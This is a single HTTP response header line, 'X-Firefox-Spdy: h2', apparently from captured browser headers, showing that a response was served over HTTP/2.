X-Firefox-Spdy: h2